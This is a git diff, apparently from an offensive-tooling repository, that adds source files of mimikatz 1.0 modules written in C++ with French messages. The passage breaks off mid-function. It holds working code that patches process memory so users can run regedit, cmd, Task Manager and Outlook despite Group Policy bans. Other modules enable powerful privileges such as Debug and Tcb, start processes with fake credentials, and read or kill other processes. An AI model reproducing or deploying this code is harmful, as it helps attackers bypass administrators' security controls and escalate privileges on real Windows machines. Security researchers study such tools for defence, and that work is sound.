+ } else (*outputStream) << L"Impossible de lire les références de l\'élement" << endl;
+
+ return true;
+}
+
+bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr)
+{
+#ifdef _M_X64
+ BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8};
+ LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1);
+#elif defined _M_IX86
+ BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8};
+ LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1;
+#endif
+ RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr));
+
+ wstring nomDemineur(L"minesweeper.exe");
+ mod_process::KIWI_PROCESSENTRY32 monDemineur;
+ if(mod_process::getUniqueForName(&monDemineur, &nomDemineur))
+ {
+ monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID;
+ mod_process::KIWI_MODULEENTRY32 monModule;
+ if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID))
+ {
+ PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL;
+ if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper))
+ if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper))
+ {
+#ifdef _M_X64
+ long offsetTemp = 0;
+ if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper))
+ mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
+#elif defined _M_IX86
+ if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper))
+ mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
+#endif
+ }
+ }
+ }
+
+ bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G;
+
+ if(!reussite && monHandleAndAddr->hMineSweeper)
+ CloseHandle(monHandleAndAddr->hMineSweeper);
+
+ return reussite;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h
new file mode 100644
index 0000000..f80be46
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h
@@ -0,0 +1,72 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_process.h"
+#include "mod_memory.h"
+#include "mod_system.h"
+#include <iostream>
+
+class mod_mimikatz_minesweeper
+{
+private:
+ typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT {
+ DWORD nbElements;
+ DWORD unk0;
+ DWORD unk1;
+ PVOID elements;
+ DWORD unk2;
+ DWORD unk3;
+ } STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT;
+
+ typedef struct _STRUCT_MINESWEEPER_BOARD {
+ PVOID Serializer;
+ DWORD nbMines;
+ DWORD nbLignes;
+ DWORD nbColonnes;
+ DWORD unk0;
+ DWORD unk1;
+ DWORD unk2;
+ DWORD unk3;
+ DWORD unk4;
+ DWORD unk5;
+ DWORD unk6;
+ DWORD unk7;
+ DWORD unk8;
+ DWORD unk9;
+#ifdef _M_X64
+ DWORD unk_x64;
+#endif
+ DWORD unk10;
+ PVOID unk11;
+ PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles;
+ PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines;
+ DWORD unk12;
+ DWORD unk13;
+ } STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD;
+
+ typedef struct _STRUCT_MINESWEEPER_GAME {
+ PVOID Serializer;
+ //PVOID pGameStat; on 7x86
+ PVOID pNodeBase;
+ PVOID pBoardCanvas;
+ PSTRUCT_MINESWEEPER_BOARD pBoard;
+ PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86;
+ } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME;
+
+ typedef struct structHandleAndAddr{
+ HANDLE hMineSweeper;
+ DWORD pidMineSweeper;
+ PVOID G;
+ } structHandleAndAddr;
+
+ static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr);
+ static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true);
+
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+ static bool infos(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp
new file mode 100644
index 0000000..bfc18f1
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp
@@ -0,0 +1,210 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_nogpo.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst"));
+ return monVector;
+}
+
+bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments)
+{
+ (*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl;
+ return true;
+}
+
+bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments)
+{
+ (*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl;
+ return true;
+}
+
+bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments)
+{
+ (*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl;
+ return true;
+}
+
+bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments)
+{
+ char szDisable[] = "DisablePst";
+ char szKiwi[] = "KiwiAndPst";
+
+ wstring pathToOutlook;
+
+ if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook))
+ {
+ DWORD pidOutlook = 0;
+ bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook);
+
+ (*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO");
+ if(reussite)
+ {
+ mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi));
+ }
+ } else (*outputStream) << L"Outlook introuvable" << endl;
+ return true;
+}
+
+bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path)
+{
+ bool reussite = false;
+
+ DWORD regError;
+
+ wstring pathToApplication = L"Software\\Classes\\";
+ pathToApplication.append(application);
+ pathToApplication.append(L"\\CLSID");
+
+ HKEY hApplication;
+
+ regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication);
+ if(regError == ERROR_SUCCESS)
+ {
+ DWORD ApplicationType = 0;
+ DWORD ApplicationSize = 0;
+ LPBYTE monGUID = NULL;
+
+ regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
+ if(regError == ERROR_SUCCESS)
+ {
+ if(ApplicationType == REG_SZ)
+ {
+ monGUID = new BYTE[ApplicationSize];
+
+ regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
+ if(regError == ERROR_SUCCESS)
+ {
+ wstring regPathToPath =
+#ifdef _M_X64
+ L"Software\\Wow6432Node\\Classes\\CLSID\\";
+#elif defined _M_IX86
+ L"Software\\Classes\\CLSID\\";
+#endif
+ regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID));
+ regPathToPath.append(L"\\LocalServer32");
+
+ HKEY hApplicationPath;
+
+ regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath);
+ if(regError == ERROR_SUCCESS)
+ {
+ DWORD ApplicationPathType = 0;
+ DWORD ApplicationPathSize = 0;
+ LPBYTE monPath = NULL;
+
+ regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
+ if(regError == ERROR_SUCCESS)
+ {
+ if(ApplicationPathType == REG_SZ)
+ {
+ monPath = new BYTE[ApplicationPathSize];
+
+ regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
+ if(reussite = (regError == ERROR_SUCCESS))
+ {
+ path->assign(reinterpret_cast<wchar_t *>(monPath));
+ } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
+ delete[] monPath;
+ } else (*outputStream) << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl;
+ } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
+ RegCloseKey(hApplicationPath);
+ } else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl;
+ } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
+ delete[] monGUID;
+ } else (*outputStream) << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl;
+ } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
+ RegCloseKey(hApplication);
+ } else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl;
+
+ return reussite;
+}
+
+
+bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID)
+{
+ bool reussite = false;
+
+ PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION();
+ if(mod_process::start(&commandLine, mesInfos, true))
+ {
+ PEB * monPeb = new PEB();
+ if(mod_process::getPeb(monPeb, mesInfos->hProcess))
+ {
+ PBYTE patternAddr = NULL;
+ // Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment)
+ if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess))
+ {
+ if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess)))
+ {
+ (*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl;
+ }
+ }
+ else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl;
+
+ delete monPeb;
+
+ if(!(ResumeThread(mesInfos->hThread) != -1))
+ (*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl;
+
+ if(monPID)
+ {
+ *monPID = mesInfos->dwProcessId;
+ }
+
+ WaitForInputIdle(mesInfos->hProcess, INFINITE);
+
+ CloseHandle(mesInfos->hThread);
+ CloseHandle(mesInfos->hProcess);
+ }
+ else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl;
+
+ delete mesInfos;
+
+ return reussite;
+}
+
+bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID)
+{
+ bool reussite = false;
+
+ if(origKey.size() == kiwiKey.size())
+ {
+ SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t);
+ PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str()));
+ const void * maCleFinale = kiwiKey.c_str();
+
+ reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
+ }
+ else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl;
+
+ return reussite;
+}
+
+bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID)
+{
+ bool reussite = false;
+
+ if(origKey.size() == kiwiKey.size())
+ {
+ SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char);
+ PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str()));
+ const void * maCleFinale = kiwiKey.c_str();
+
+ reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
+ }
+ else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl;
+
+ return reussite;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h
new file mode 100644
index 0000000..c96e22f
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h
@@ -0,0 +1,30 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_process.h"
+#include "mod_memory.h"
+#include "mod_patch.h"
+#include <iostream>
+
+class mod_mimikatz_nogpo
+{
+private:
+ static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL);
+ static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL);
+ static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL);
+
+ static bool getApplicationPathFromCLSID(wstring application, wstring * path);
+
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool regedit(vector<wstring> * arguments);
+ static bool cmd(vector<wstring> * arguments);
+ static bool taskmgr(vector<wstring> * arguments);
+ static bool olpst(vector<wstring> * arguments);
+};
+
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp
new file mode 100644
index 0000000..1b29486
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp
@@ -0,0 +1,167 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_privilege.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_privilege::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilèges"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilèges"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilèges"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilèges"));
+ /* Raccourçis */
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilège Debug"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilège Security"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilège Tcb"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilège Impersonate"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilège AssignPrimaryToken"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilège Shutdown"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilège TakeOwnership"));
+ return monVector;
+}
+
+bool mod_mimikatz_privilege::enable(vector<wstring> * arguments)
+{
+ bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED);
+ return true;
+}
+
+bool mod_mimikatz_privilege::remove(vector<wstring> * arguments)
+{
+ bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED);
+ return true;
+}
+
+bool mod_mimikatz_privilege::disable(vector<wstring> * arguments)
+{
+ bool reussite = multiplePrivs(arguments, 0);
+ return true;
+}
+
+bool mod_mimikatz_privilege::simplePriv(wstring priv, vector<wstring> * arguments)
+{
+ bool ajout = arguments->empty();
+
+ (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilège : " << priv << L" : ";
+
+ vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
+ mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0));
+
+ bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE);
+ delete mesPrivs;
+
+ if(reussite)
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+
+ return reussite;
+}
+
+bool mod_mimikatz_privilege::multiplePrivs(vector<wstring> * privs, DWORD type)
+{
+ bool reussite = false;
+ vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
+ for(vector<wstring>::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++)
+ {
+ mesPrivs->push_back(make_pair(*monPrivilege, type));
+ }
+ reussite = mod_privilege::set(mesPrivs);
+ delete mesPrivs;
+
+ if(reussite)
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+
+ return reussite;
+}
+
+
+bool mod_mimikatz_privilege::list(vector<wstring> * arguments)
+{
+ vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
+
+ if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE))
+ {
+ for(vector<pair<wstring, DWORD>>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++)
+ {
+ (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t';
+
+ if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES)
+ {
+ if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
+ {
+ (*outputStream) << L"ENABLED_BY_DEFAULT ";
+ }
+
+ if(monPrivilege->second & SE_PRIVILEGE_ENABLED)
+ {
+ (*outputStream) << L"ENABLED ";
+ }
+
+ if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
+ {
+ (*outputStream) << L"REMOVED ";
+ }
+
+ if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS)
+ {
+ (*outputStream) << L"USED_FOR_ACCESS ";
+ }
+
+ if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
+ {
+ (*outputStream) << L"REMOVED";
+ }
+ }
+
+ (*outputStream) << endl;
+ }
+ }
+ else (*outputStream) << mod_system::getWinError() << endl;
+
+ return true;
+}
+
+
+bool mod_mimikatz_privilege::debug(vector<wstring> * arguments)
+{
+ simplePriv(SE_DEBUG_NAME, arguments); return true;
+}
+
+bool mod_mimikatz_privilege::security(vector<wstring> * arguments)
+{
+ simplePriv(SE_SECURITY_NAME, arguments); return true;
+}
+
+bool mod_mimikatz_privilege::tcb(vector<wstring> * arguments)
+{
+ simplePriv(SE_TCB_NAME, arguments); return true;
+}
+
+bool mod_mimikatz_privilege::impersonate(vector<wstring> * arguments)
+{
+ simplePriv(SE_IMPERSONATE_NAME, arguments); return true;
+}
+
+bool mod_mimikatz_privilege::assign(vector<wstring> * arguments)
+{
+ simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true;
+}
+
+bool mod_mimikatz_privilege::shutdown(vector<wstring> * arguments)
+{
+ simplePriv(SE_SHUTDOWN_NAME, arguments); return true;
+}
+
+bool mod_mimikatz_privilege::takeowner(vector<wstring> * arguments)
+{
+ simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h
new file mode 100644
index 0000000..f3dc739
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h
@@ -0,0 +1,33 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include "mod_privilege.h"
+#include <iostream>
+
+class mod_mimikatz_privilege
+{
+private:
+ static bool multiplePrivs(vector<wstring> * privs, DWORD type);
+ static bool simplePriv(wstring priv, vector<wstring> * arguments);
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool list(vector<wstring> * arguments);
+ static bool enable(vector<wstring> * arguments);
+ static bool remove(vector<wstring> * arguments);
+ static bool disable(vector<wstring> * arguments);
+
+ static bool debug(vector<wstring> * arguments);
+ static bool security(vector<wstring> * arguments);
+ static bool tcb(vector<wstring> * arguments);
+ static bool impersonate(vector<wstring> * arguments);
+ static bool assign(vector<wstring> * arguments);
+ static bool shutdown(vector<wstring> * arguments);
+ static bool takeowner(vector<wstring> * arguments);
+
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp
new file mode 100644
index 0000000..d18ca8b
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp
@@ -0,0 +1,298 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_process.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_process::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Exécute un processus, /paused et/ou /sudo"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'exécution d\'un processus"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage"));
+ return monVector;
+}
+
+bool mod_mimikatz_process::start(vector<wstring> * arguments)
+{
+ if(!arguments->empty())
+ {
+ wstring commande = arguments->back();
+ bool paused = false;
+ bool sudo = false;
+
+ (*outputStream) << L"Demande d\'exécution de : \'" << commande << L"'" << endl;
+ PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0};
+
+ switch(arguments->size())
+ {
+ case 2:
+ if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
+ paused = true;
+ else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0)
+ sudo = true;
+ else
+ goto doStartProcess_syntaxerror;
+
+ break;
+ case 3:
+ if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
+ paused = true;
+ else
+ goto doStartProcess_syntaxerror;
+
+ if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0)
+ sudo = true;
+ else
+ goto doStartProcess_syntaxerror;
+
+ break;
+ }
+
+ if(mod_process::start(&commande, &pi, paused, sudo))
+ {
+ if(paused)
+ (*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl;
+
+ if(sudo)
+ (*outputStream) << L" * Le processus est démarré avec de fausses données d\'identification" << endl;
+
+ printInfosFromPid(pi.dwProcessId, pi.dwThreadId);
+ }
+ else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl;
+ }
+ else
+ {
+doStartProcess_syntaxerror:
+ (*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl;
+ }
+
+ return true;
+}
+
+bool mod_mimikatz_process::stop(vector<wstring> * arguments)
+{
+ for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
+ {
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ wstring procName = *monProcessName;
+
+ if(mod_process::getUniqueForName(&monProcess, &procName))
+ {
+ (*outputStream) << L"Fin de : " << procName << L'\t';
+ if(mod_process::stop(monProcess.th32ProcessID))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
+ }
+
+ return true;
+}
+
+
+bool mod_mimikatz_process::suspend(vector<wstring> * arguments)
+{
+ for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
+ {
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ wstring procName = *monProcessName;
+
+ if(mod_process::getUniqueForName(&monProcess, &procName))
+ {
+ (*outputStream) << L"Suspension de : " << procName << L'\t';
+ if(mod_process::suspend(monProcess.th32ProcessID))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
+ }
+
+ return true;
+}
+
+
+bool mod_mimikatz_process::resume(vector<wstring> * arguments)
+{
+ for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
+ {
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ wstring procName = *monProcessName;
+
+ if(mod_process::getUniqueForName(&monProcess, &procName))
+ {
+ (*outputStream) << L"Reprise de : " << procName << L'\t';
+ if(mod_process::resume(monProcess.th32ProcessID))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
+ }
+
+ return true;
+}
+
+
+
+
+bool mod_mimikatz_process::list(vector<wstring> * arguments)
+{
+ vector<mod_process::KIWI_PROCESSENTRY32> * vectorProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
